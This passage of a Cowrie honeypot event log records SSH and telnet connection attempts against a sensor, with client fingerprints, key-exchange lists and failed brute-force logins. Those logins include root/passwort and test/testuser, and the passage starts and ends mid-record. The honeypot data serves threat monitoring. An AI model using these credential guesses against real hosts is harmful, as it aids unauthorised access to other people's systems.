aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:16.224472Z","src_ip":"103.149.170.125","session":"d27fb38e51dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2003","message":"login attempt [root/anna2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:17.038460Z","src_ip":"103.149.170.125","session":"d27fb38e51dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:18.319570Z","src_ip":"103.149.170.125","session":"d27fb38e51dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":53922,"dst_ip":"10.17.0.5","dst_port":22,"session":"add8a2a0baa7","protocol":"ssh","message":"New connection: 20.203.42.204:53922 (10.17.0.5:22) [session: add8a2a0baa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:39.918103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:39.922997Z","src_ip":"20.203.42.204","session":"add8a2a0baa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:40.704594Z","src_ip":"20.203.42.204","session":"add8a2a0baa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"1","message":"login attempt [frontend/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:41.419019Z","src_ip":"20.203.42.204","session":"add8a2a0baa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:42.592928Z","src_ip":"20.203.42.204","session":"add8a2a0baa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":47326,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbbb0a1fa2d5","protocol":"ssh","message":"New connection: 160.251.182.78:47326 (159.203.135.109:22) [session: dbbb0a1fa2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:45.562555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:45.567893Z","src_ip":"160.251.182.78","session":"dbbb0a1fa2d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:45.757486Z","src_ip":"160.251.182.78","session":"dbbb0a1fa2d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10293847","message":"login attempt [root/10293847] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:46.547582Z","src_ip":"160.251.182.78","session":"dbbb0a1fa2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:47.739944Z","src_ip":"160.251.182.78","session":"dbbb0a1fa2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:14.154250Z","src_ip":"14.103.118.145","session":"7228ed94dc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":51018,"dst_ip":"10.17.0.5","dst_port":22,"session":"1981d7dc551b","protocol":"ssh","message":"New connection: 112.104.154.26:51018 (10.17.0.5:22) [session: 1981d7dc551b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:28.549559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:28.554025Z","src_ip":"112.104.154.26","session":"1981d7dc551b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:28.748195Z","src_ip":"112.104.154.26","session":"1981d7dc551b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwort","message":"login attempt [root/passwort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:29.537849Z","src_ip":"112.104.154.26","session":"1981d7dc551b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:30.731434Z","src_ip":"112.104.154.26","session":"1981d7dc551b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":42066,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e8c8afe336","protocol":"telnet","message":"New connection: 98.30.219.209:42066 (10.17.0.5:23) [session: 25e8c8afe336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:54:44.968454Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5775a931fe6d","protocol":"ssh","message":"New connection: 62.133.62.83:60526 (159.203.135.109:22) [session: 5775a931fe6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:13.891415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:13.896776Z","src_ip":"62.133.62.83","session":"5775a931fe6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:13.977843Z","src_ip":"62.133.62.83","session":"5775a931fe6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18031985","message":"login attempt [root/18031985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:14.341629Z","src_ip":"62.133.62.83","session":"5775a931fe6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:15.425799Z","src_ip":"62.133.62.83","session":"5775a931fe6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":43068,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2c3c3b1b34","protocol":"ssh","message":"New connection: 14.103.118.145:43068 (159.203.135.109:22) [session: ad2c3c3b1b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:19.804814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:19.815676Z","src_ip":"14.103.118.145","session":"ad2c3c3b1b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:19.821566Z","src_ip":"14.103.118.145","session":"ad2c3c3b1b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4ef3b9116b","protocol":"ssh","message":"New connection: 51.250.105.222:42716 (159.203.135.109:22) [session: fd4ef3b9116b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:34.227285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:34.233230Z","src_ip":"51.250.105.222","session":"fd4ef3b9116b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:34.367743Z","src_ip":"51.250.105.222","session":"fd4ef3b9116b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:34.762854Z","src_ip":"51.250.105.222","session":"fd4ef3b9116b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:35.897381Z","src_ip":"51.250.105.222","session":"fd4ef3b9116b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55840,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e4ea057ce2b","protocol":"ssh","message":"New connection: 46.19.67.181:55840 (159.203.135.109:22) [session: 1e4ea057ce2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:43.067298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:43.073648Z","src_ip":"46.19.67.181","session":"1e4ea057ce2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:43.189897Z","src_ip":"46.19.67.181","session":"1e4ea057ce2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061990","message":"login attempt [root/12061990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:43.524482Z","src_ip":"46.19.67.181","session":"1e4ea057ce2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:55:44.639163Z","src_ip":"46.19.67.181","session":"1e4ea057ce2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6678f597df4c","protocol":"ssh","message":"New connection: 20.203.42.204:49020 (10.17.0.5:22) [session: 6678f597df4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:10.638050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:11.005215Z","src_ip":"20.203.42.204","session":"6678f597df4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:11.171116Z","src_ip":"20.203.42.204","session":"6678f597df4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testuser","message":"login attempt [test/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:11.884115Z","src_ip":"20.203.42.204","session":"6678f597df4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:13.376727Z","src_ip":"20.203.42.204","session":"6678f597df4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":45880,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb80cd62ec46","protocol":"ssh","message":"New connection: 186.148.224.183:45880 (159.203.135.109:22) [session: eb80cd62ec46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.015944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.021998Z","src_ip":"186.148.224.183","session":"eb80cd62ec46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 